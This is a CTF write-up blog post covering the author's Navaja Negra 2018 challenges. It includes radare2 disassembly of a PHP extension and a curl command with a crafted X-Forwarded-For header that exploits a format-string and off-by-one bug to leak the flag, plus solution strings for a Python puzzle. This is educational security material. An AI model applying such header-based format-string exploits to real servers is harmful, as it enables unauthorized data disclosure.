Doomsday Vault

Logo

X-C3LL's Personal Blog :)

11 October 2018

Writeup Navaja Negra 2018 CTF

         For the third consecutive year our crew (@ka0labs_) set up a CTF competition inside the Navaja Negra (“Black Razor”) security conference. Every year we choose a “popular” animation show in order to perform theme based challenges (The Powerpuff Girls in 2016, Rick&Morty in 2017) being this the year of Pokemon. We play CTFs as Insanity and as ID-10-Ts, so our bigger fear was to create challenges with the problems that we saw in other competitions: not well-balanced or “GTF” challenges (Guess The Flag). Here is the write up for the challenges made by me (you can check the writeups of challenges made by other members of ka0labs here). Enjoy it!

Tindermon (WEB / HARD)

         This is the challenge that I am more proud to set up. It is a web application made in NodeJS and MongoDB vulnerable to an easy NoSQL injection, but to exploit the vulnerability succesfully you must bypass a filter. The description of the challenge was:

Get the admin password! There is a WAF and it is NodeJS... Easy peasy! http://tindermon.ka0labs.org

The filter was a pain in the ass because it blocked ” ‘ . chars. The solution to bypass the filter is the abuse of the internal issues in NodeJS 8 related to Unicode chars. Honestly, this write up by @_Dreadlocked explains far better than me how to solve this challenge. Please read it, because it is for far more didactic than anything I can write.

HackGym (PWN / EASY)

         In this challengue we provide an URL to a website. The description was:

Say the magic word to get the flag!

http://hackgym.ka0labs.org

         The website was a PHPINFO with a bit of text hidden in the HTML:

 See my backup at HackGym.so.bk

         Download the file and open it in Radare2:

mothra@arcadia:/tmp|⇒  r2 HackGym.so.bk
 -- Welcome, "reenigne"
[0x00000cf0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00000cf0]> afl
0x00000000    2 40           sym.imp.__cxa_finalize
0x00000bd8    3 23           sym._init
0x00000c00    1 6            loc.imp._zval_ptr_dtor
0x00000c10    1 6            loc.imp.zend_parse_parameters
0x00000c20    1 6            loc.imp.ap_php_snprintf
0x00000c30    1 6            fcn.00000c30
0x00000c40    1 6            loc.imp.zend_hash_exists
0x00000c60    1 6            sub.__JCR_LIST___72_c60
0x00000c70    1 6            loc.imp.php_printf
0x00000c80    1 6            loc.imp.php_info_print_table_header
0x00000c90    1 6            loc.imp._array_init
0x00000ca0    1 6            loc.imp._emalloc
0x00000cb0    1 6            loc.imp.php_info_print_table_start
0x00000cc0    1 6            loc.imp.zend_hash_find
0x00000cd0    1 6            loc.imp.spprintf
0x00000ce0    1 6            sub.__cxa_finalize_ce0
0x00000cf0    4 50   -> 44   entry0
0x00000d30    4 66   -> 57   sym.register_tm_clones
0x00000d80    5 50           sym.__do_global_dtors_aux
0x00000dc0    4 48   -> 42   entry1.init
0x00000df0    1 3            sym.zm_deactivate_HackGym
0x00000e00    3 100          sym.zif_confirm_HackGym_compiled
0x00000e70    1 44           sym.zm_info_HackGym
0x00000ea0    1 3            sym.zm_shutdown_HackGym
0x00000eb0    1 3            sym.zm_startup_HackGym
0x00000ec0    3 114          sym.kaboom
0x00000f40   15 271  -> 264  sym.PHP_FUNCION
0x00001050    1 16           sym.zm_activate_HackGym
0x00001060    1 8            sym.get_module
0x00001068    1 9            sym._fini

         Seeing the name of the functions (zm_, php_, etc.) we can guess this is a PHP extension (well, even if you just do a strings you can see it :)). Two function names are interesting: “kaboom” (for obvious reasons) and “PHP_FUNCION”, because it is spelled in Spanish (FUNCION vs FUNCTION) and is uppercase.

[0x00000cf0]> pdf @ sym.PHP_FUNCION 
...
|    ..---> 0x00000fc7      488d35000100.  lea rsi, str.HTTP_X_FORWARDED_FOR ; 0x10ce ; "HTTP_X_FORWARDED_FOR"
|    ::||   0x00000fce      ba15000000     mov edx, 0x15
|    ::||   0x00000fd3      e868fcffff     call loc.imp.zend_hash_exists
|    ::||   0x00000fd8      85c0           test eax, eax
|   ,=====< 0x00000fda      743d           je 0x1019                   ; /srv/HackGym/php-5.6.36/ext/HackGym/HackGym.c:-9
|   |::||   0x00000fdc      488b8d980100.  mov rcx, qword [arg_198h]   ; [0x198:8]=0x1d88
|   |::||   0x00000fe3      0fb65114       movzx edx, byte [rcx + 0x14] ; [0x14:1]=1
|   |::||   0x00000fe7      80fa04         cmp dl, 4
|  ,======< 0x00000fea      743c           je 0x1028
|  ||::||   0x00000fec      31ff           xor edi, edi
|  ||::||   0x00000fee      80fa05         cmp dl, 5
| ,=======< 0x00000ff1      744d           je 0x1040
| |||::||   ; CODE XREF from 0x0000102b (sym.PHP_FUNCION)
| |||::||   ; CODE XREF from 0x0000104d (sym.PHP_FUNCION)
| --------> 0x00000ff3      488d4c2408     lea rcx, [local_8h]
| |||::||   0x00000ff8      488d35cf0000.  lea rsi, str.HTTP_X_FORWARDED_FOR ; 0x10ce ; "HTTP_X_FORWARDED_FOR"
| |||::||   0x00000fff      ba15000000     mov edx, 0x15
| |||::||   0x00001004      e8b7fcffff     call loc.imp.zend_hash_find
| |||::||   0x00001009      488b442408     mov rax, qword [local_8h]   ; [0x8:8]=0
| |||::||   0x0000100e      488b00         mov rax, qword [rax]        ; /srv/HackGym/php-5.6.36/ext/HackGym/HackGym.c:-10
| |||::||   0x00001011      488b38         mov rdi, qword [rax]
| |||::||   0x00001014      e847fcffff     call sym.kaboom
...

         As we can see this extension checks for contents in X-Forwarded-For header and then pass it to our “kaboom” function. Let’s check it.

[0x00000ec0]> pdf @ sym.kaboom
/ (fcn) sym.kaboom 114
|   sym.kaboom ();
|           ; var int local_8h @ rsp+0x8
|           ; var int local_10h @ rsp+0x10
|           ; var int local_100h @ rsp+0x100
|           0x00000ec0      53             push rbx
|           0x00000ec1      488d35d20100.  lea rsi, str.8____D___JE__Target__3 ; 0x109a ; "8====D ! JE! Target! 3%"
|           0x00000ec8      4881ec000200.  sub rsp, 0x200
|           0x00000ecf      488b07         mov rax, qword [rdi]
|           0x00000ed2      4889e2         mov rdx, rsp
|           0x00000ed5      48890424       mov qword [rsp], rax
|           0x00000ed9      488b4708       mov rax, qword [rdi + 8]    ; [0x8:8]=0
|           0x00000edd      4889442408     mov qword [local_8h], rax
|           0x00000ee2      488b4710       mov rax, qword [rdi + 0x10] ; [0x10:8]=0x1003e0003
|           0x00000ee6      4889442410     mov qword [local_10h], rax
|           0x00000eeb      31c0           xor eax, eax
|           0x00000eed      0f1f00         nop dword [rax]
|       .-> 0x00000ef0      0fb60c06       movzx ecx, byte [rsi + rax]
|       :   0x00000ef4      880c02         mov byte [rdx + rax], cl
|       :   0x00000ef7      4883c001       add rax, 1
|       :   0x00000efb      4883f817       cmp rax, 0x17
|       `=< 0x00000eff      75ef           jne 0xef0
|           0x00000f01      488d9c240001.  lea rbx, [local_100h]       ; 0x100
|           0x00000f09      488d0da20100.  lea rcx, str.nn8ed_XXXXXX_EDITED_XXXXXX ; 0x10b2 ; "nn8ed{XXXXXX_EDITED_XXXXXX}"
|           0x00000f10      be00010000     mov esi, 0x100
|           0x00000f15      31c0           xor eax, eax
|           0x00000f17      4889df         mov rdi, rbx                ; /srv/HackGym/php-5.6.36/ext/HackGym/HackGym.c:-30
|           0x00000f1a      e801fdffff     call loc.imp.ap_php_snprintf
|           0x00000f1f      4889df         mov rdi, rbx
|           0x00000f22      31c0           xor eax, eax
|           0x00000f24      e847fdffff     call loc.imp.php_printf
|           0x00000f29      4881c4000200.  add rsp, 0x200
|           0x00000f30      5b             pop rbx                     ; /srv/HackGym/php-5.6.36/ext/HackGym/HackGym.c:-24
\           0x00000f31      c3             ret

         So, we have a an string (“8==D…”) that is used to overwrite the string took from the X-Forwarded-For header byte to byte in a loop. Then a php_snprintf is used with this string and the flag, later the result is printed.

         This snprintf is weird as hell. We have something like:

snprintf(buffer, 256, overwrote_thing, flag);
php_printf(buffer);

         If we can have a format string (%s) inside the overwrote string we can leak the flag content inside “buffer” and then see it when it is used in the php_printf(). Well, the string used to overwrite ends with “%”, and that is half of a format string :). If we look more carefully the loop we can see an off-by-one, so the byte after the “%” will not be overwritten. If this char is a “s” then we have:

snprintf(buffer, 256, "8====D ! JE! Target! 3%s", flag);
php_printf(buffer);

         Let’s try it!

[X-C3LL@Kumonga] -> / ⌚  11:27:05
$ curl http://hackgym.ka0labs.org -H "X-Forwarded-For: XXXXXXXXXXXXXXXXXXXXXXXs" --silent 2>&1 | grep nn8ed
8====D ! JE! Target! 3nn8ed{Th3_r1ght_f0rm4t_Off_by_1}<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">

         Nice :)

NESy (REV / VERY EASY)

         This challenge could be solved in tons of ways. We provided a NES Rom and this description:

Find the flag inside this ROM! It is, literally, in front of you!

         If you read about how NES video works, that “in front of you” is easy to understand. Just execute the ROM and use the video debugger to check all nametables (the flag was in $2800). Free points for the newbies :)

Pokemon Trilero (MISC / EASY)

         A python script and a description are provided:

Insert mew into your team! Use the glitch!

$ nc challenges.ka0labs.org 5000

         The python script was:

# Stupid Pokemon challenge



class registers:
	regs = {
	"NB" : 0,
	"SP" : 0,
	"LP" : 0,
	"PC" : 0
	}


status = registers()


class pokemons:
	boxes = []
	starter_team = [
		"pikachu",
		"charmander",
		"squirting",
		"ekans",
		"lapras",
		"dratini",
		"omastar",
		]
	box_one = [
		"bulbasaur",
		"wartortle",
		"raichu",
		"raticate",
		"charizard",
		"ivysaur",
		"scyther",
		"golem",
		"pinsir",
		"golbat",
		"mew"
	]
	box_two = [
		"magikarp",
		"seal",
		"slowpoke"
		]
	boxes.append(starter_team)
	boxes.append(box_one)
	boxes.append(box_two)

	def create_box(self):
		self.boxes.append(['magikarp'])
	def destroy_box(self, dbox):
		del self.boxes[dbox]
	def move(self, sbox, dbox):
		self.boxes[dbox].append(self.boxes[sbox][0])
		del self.boxes[sbox][0]
	

a = pokemons()

def print_info():
	print "\nRegister status:\n---------"
	print status.regs
	print "Current team:"
	print a.boxes[0]
	print "Total boxes: %s" % len(a.boxes)
	print a.boxes

def parser(instruction):
	if instruction == "p":
		if status.regs["LP"] == 1:
			print "Segfault!!!!"
			print_info()
			exit(-1)
		print_info()

	if instruction == "s":
		if status.regs["LP"] == "1":
			print "Segfault!!!!"
			exit(-1)
		status.regs["NB"] = (status.regs["NB"] + 1) % (len(a.boxes))
		print "[+] Moving to box %s" % status.regs["NB"]

	if instruction == "c":
		if status.regs["LP"] == 1:
			print "Segfault!!!!"
			exit(-1)
		a.create_box()
		status.regs["LP"] = status.regs["SP"]
		status.regs["SP"] = 0
		print "[+] New box created"

	if instruction == "e":
		if status.regs["LP"] == "1":
			print "Segfault!!!!"
			exit(-1)
		if status.regs["NB"] == 0:
			print "Invalid box!"
			exit(-1)
		print "[+] Box destroyed. Pokemons released:"
		for x in a.boxes[-1]:
			print "     " + x
		if (status.regs["NB"] + 1) % (len(a.boxes)) == 0:
			status.regs["SP"] = status.regs["LP"]
			status.regs["LP"] = 0
			status.regs["NB"] = status.regs["NB"] - 1
		a.destroy_box(-1)

	if instruction == "*":
		if status.regs["LP"] == 1:
			print "Segfault!!!!"
			exit(-1)
		status.regs["SP"] = status.regs["SP"] + 1				
		print "[+] Incremented pointer to: %d" % status.regs["SP"]

	if instruction == "/":
		if status.regs["LP"] == 1:
			print "Segfault!!!!"
			exit(-1)
		status.regs["SP"] = status.regs["SP"] - 1	
		if status.regs["SP"] == -1:
			print "Segfault!!!!"
			exit(-1)			
		print "[+] Decremented pointer to: %d" % status.regs["SP"]

	if instruction == "t":
		if status.regs["LP"] == 1:
			print "Segfault!!!!"
			exit(-1)
		if len(a.boxes[0]) == 8:
			print "Only 8 pokemons!!!!"
			exit(-1)
		print "[+] Adding %s to team" % a.boxes[status.regs["NB"]][0]
		a.move(status.regs["NB"],0)

	if instruction == "d":
		if status.regs["LP"] == 1:
			print "Segfault!!!!"
			exit(-1)
		if len(a.boxes[0]) == 0:
			print "You can't have 0 pokemons!!!!"
			exit(-1)
		print "[+] Saving %s to box %d" % (a.boxes[0][0], status.regs["NB"])
		a.move(0,status.regs["NB"])



print status.regs

print "Instructions: "
instructions = raw_input()
print "\n\nExecuting...\n========================"
for x in instructions:
	if status.regs["SP"] >= len(a.boxes[status.regs["NB"]]) or  a.boxes[status.regs["NB"]][status.regs["SP"]] == "mew":
			status.regs["LP"] = 1
	#print str(status.regs["PC"]) + " - " + x
	status.regs["PC"] = status.regs["PC"] + 1
	parser(x)
	if "mew" in a.boxes[0]:
		with open("flag.txt", "r") as file:
			flag = file.read()
			print flag

         So we have a script with a small set of instructions and registers (à la bytecode) that let us operate with our pokemon team and with the boxes. Our goal is to take mew from the boxes to the team (box 0). The instruction set is:

         Every time a instruction will be executed the script check the value of the auxiliary register “LP” in order to know if any conditions was violated. LP is set to 1 here:

if status.regs["SP"] >= len(a.boxes[status.regs["NB"]]) or  a.boxes[status.regs["NB"]][status.regs["SP"]] == "mew":
			status.regs["LP"] = 1

         So LP will be 1 if SP register has a value equal or major than the box size or if SP points to mew.

         They key point to solve this challenge is to observe the main bug: in the instructions “s” and “e” the LP check is done against “1” (string) instead of 1 (integer). So it will by bypassed :). The challenge can be solved in differente ways. If you check the code and see the e instructions you can see a way to manipulate the LP register:

	if (status.regs["NB"] + 1) % (len(a.boxes)) == 0:
			status.regs["SP"] = status.regs["LP"]
			status.regs["LP"] = 0
			status.regs["NB"] = status.regs["NB"] - 1

         So if the box to be destroyed is the same where the NB is pointing, LP will be 0 and NB will decrement in 1. So, we can point SP to mew (LP = 1), then use s to se NB as the last box and delete it (LP = 0) and then work with our mew. With csssddddddsstttttttsddddsssttdtss we can have mew in the position 0 (LP = 1) and NB has the last box (NB = 2). If we delete (e) the last box, LP turns to 0.

         The value of NB is 2, but our mew is at box 1, so we need to execute two s to put NB pointing to the correct box. But when we perform those s, the LP value will turn 1 again, so we need to use e again to delete a box (LP = 0). Now we can use t to move the mew to our team. Easy peasy! :)

[X-C3LL@Kumonga] -> / ⌚  12:52:28
$ nc challenges.ka0labs.org 5000
{'PC': 0, 'NB': 0, 'SP': 0, 'LP': 0}
Instructions:
csssddddddsstttttttsddddsssttdtssesset


Executing...
========================
[+] New box created
[+] Moving to box 1
[+] Moving to box 2
[+] Moving to box 3
[+] Saving pikachu to box 3
[+] Saving charmander to box 3
[+] Saving squirting to box 3
[+] Saving ekans to box 3
[+] Saving lapras to box 3
[+] Saving dratini to box 3
[+] Moving to box 0
[+] Moving to box 1
[+] Adding bulbasaur to team
[+] Adding wartortle to team
[+] Adding raichu to team
[+] Adding raticate to team
[+] Adding charizard to team
[+] Adding ivysaur to team
[+] Adding scyther to team
[+] Moving to box 2
[+] Saving omastar to box 2
[+] Saving bulbasaur to box 2
[+] Saving wartortle to box 2
[+] Saving raichu to box 2
[+] Moving to box 3
[+] Moving to box 0
[+] Moving to box 1
[+] Adding golem to team
[+] Adding pinsir to team
[+] Saving raticate to box 1
[+] Adding golbat to team
[+] Moving to box 2
[+] Moving to box 3
[+] Box destroyed. Pokemons released:
     magikarp
     pikachu
     charmander
     squirting
     ekans
     lapras
     dratini
[+] Moving to box 0
[+] Moving to box 1
[+] Box destroyed. Pokemons released:
     magikarp
     seal
     slowpoke
     omastar
     bulbasaur
     wartortle
     raichu
[+] Adding mew to team



==============================
You win! nn8ed{s33_my_N3W_m3W}
==============================

         An alternative way (and easier) is ssddddddsstttttttdddddddtts**sstt.

Conclusion

         This year the CTF was won by RomanSoft (probably one of the best CTF players I ever met). The challenges will be online few weeks more, so you can play it! nn8ed CTF (13 challenges).

         Feel free to ping me at my twitter (@TheXC3LL)

Byt3z!